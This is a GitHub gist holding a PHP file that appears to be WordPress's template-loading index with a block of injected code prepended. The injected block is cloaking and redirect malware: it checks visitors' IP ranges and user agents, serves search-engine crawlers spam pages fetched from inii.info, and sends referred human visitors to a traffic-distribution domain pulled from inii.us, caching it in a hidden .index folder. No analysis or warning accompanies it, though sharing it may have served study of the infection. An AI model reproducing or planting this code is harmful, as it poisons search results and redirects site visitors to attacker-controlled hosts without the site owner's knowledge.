Created
March 1, 2010 16:36
-
-
Save vinhboy/318521 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
function get_url($url){ | |
$ch = curl_init(); | |
curl_setopt ($ch, CURLOPT_URL,"$url"); | |
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt ($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-EN; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"); | |
curl_setopt ($ch, CURLOPT_TIMEOUT, 150); | |
$out=curl_exec ($ch); | |
curl_close ($ch); | |
return $out; | |
} | |
function get_new_tds($f2){ | |
$url="http://inii.us/domain.txt"; | |
$tds=get_url($url); | |
$f=@fopen($f2,"w");@fwrite($f,$tds."|".time());@fclose($f); | |
return $tds; | |
} | |
function get_tds(){ | |
$f2=".index/cgi.log"; | |
if (@file_exists($f2)){ | |
$r=@file_get_contents($f2); | |
list($tds,$last_t)=explode("|",$r); | |
if ((time()-$last_t) > 100)$tds=get_new_tds($f2); | |
}else{ | |
$tds=get_new_tds($f2); | |
} | |
return $tds; | |
} | |
if ($s=$_GET['you'])$nn=9011012; | |
if (($s=$_GET['you'])){ | |
$s=urldecode($s); | |
$s=str_replace(" ","-",$s); | |
$s=str_replace("<i>","",$s); | |
$s=str_replace("</i>","",$s); | |
$s=str_replace("<b>","",$s); | |
$s=str_replace("</b>","",$s); | |
$s=str_replace("<strong>","",$s); | |
$s=str_replace("</strong>","",$s); | |
$searchengine=0; | |
$ip=sprintf("%u",ip2long($REMOTE_ADDR)); | |
if (($ip>=3639549952)&&($ip<=3639558143))$searchengine=1; //GOOGLE (216.239.32.0-216.239.63.255) | |
if (($ip>=1123631104)&&($ip<=1123639295))$searchengine=1; //GOOGLE (66.249.64.0-66.249.95.255) | |
if (($ip>=1089052672)&&($ip<=1089060863))$searchengine=1; //GOOGLE (64.233.160.0-64.233.191.255) | |
if (($ip>=1078218752)&&($ip<=1078220799))$searchengine=1; //GOOGLE (64.68.80.0-64.68.87.255) | |
if (($ip>=1078220802)&&($ip<=1078222031))$searchengine=1; //GOOGLE (64.68.88.2-64.68.92.207) | |
if (($ip>=1087381508)&&($ip<=1087382952))$searchengine=1; //GOOGLE (64.208.32.4-64.208.37.168) | |
if (($ip>=3512041472)&&($ip<=3512045567))$searchengine=1; //GOOGLE (209.85.128.0-209.85.143.255) | |
if (($ip>=1113980928)&&($ip<=1113985023))$searchengine=1; //GOOGLE (66.102.0.0-66.102.15.255) | |
if (($ip>=1208926208)&&($ip<=1208942591))$searchengine=1; //GOOGLE (72.14.192.0-72.14.255.255) | |
if (($ip>=1249705984)&&($ip<=1249771519))$searchengine=1; //GOOGLE (74.125.0.0-74.125.255.255) | |
if (($ip>=1475914072)&&($ip<=1475914072))$searchengine=1; //Home (87.248.169.88-87.248.169.88) | |
if (stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")||stristr($_SERVER["HTTP_USER_AGENT"],"msnbot")||stristr($_SERVER["HTTP_USER_AGENT"],"Yahoo")||stristr($_SERVER["HTTP_USER_AGENT"],"search")||stristr($_SERVER["HTTP_USER_AGENT"],"ovguide")||stristr($_SERVER["HTTP_USER_AGENT"],"aol"))$searchengine=1; | |
if (stristr($_SERVER["HTTP_USER_AGENT"],"via translate.google.com"))$searchengine=0; | |
if (stristr($_SERVER["HTTP_USER_AGENT"],"Google WAP Proxy"))$searchengine=0; | |
if (stristr($_SERVER["HTTP_USER_AGENT"],"Google CHTML Proxy"))$searchengine=0; | |
if ($searchengine){ | |
$s=strtolower($s); | |
if (get_magic_quotes_gpc()) $s=stripslashes($s); | |
$out=get_url("http://inii.info/1509091/$s.htm"); | |
echo $out; | |
}else{ | |
if ($_SERVER['HTTP_REFERER']==""){ | |
$out=get_url("http://rss.cnn.com/rss/edition.rss"); | |
echo $out; | |
exit; | |
} | |
@mkdir(".index"); | |
$tds=trim(get_tds()); | |
header("Location: http://$tds/in.php?n=$nn");exit; | |
} | |
exit; | |
} | |
?> | |
<?php | |
/** | |
* Loads the WordPress environment and template. | |
* | |
* @package WordPress | |
*/ | |
if ( !isset($wp_did_header) ) { | |
$wp_did_header = true; | |
require_once( dirname(__FILE__) . '/wp-load.php' ); | |
wp(); | |
require_once( ABSPATH . WPINC . '/template-loader.php' ); | |
} | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment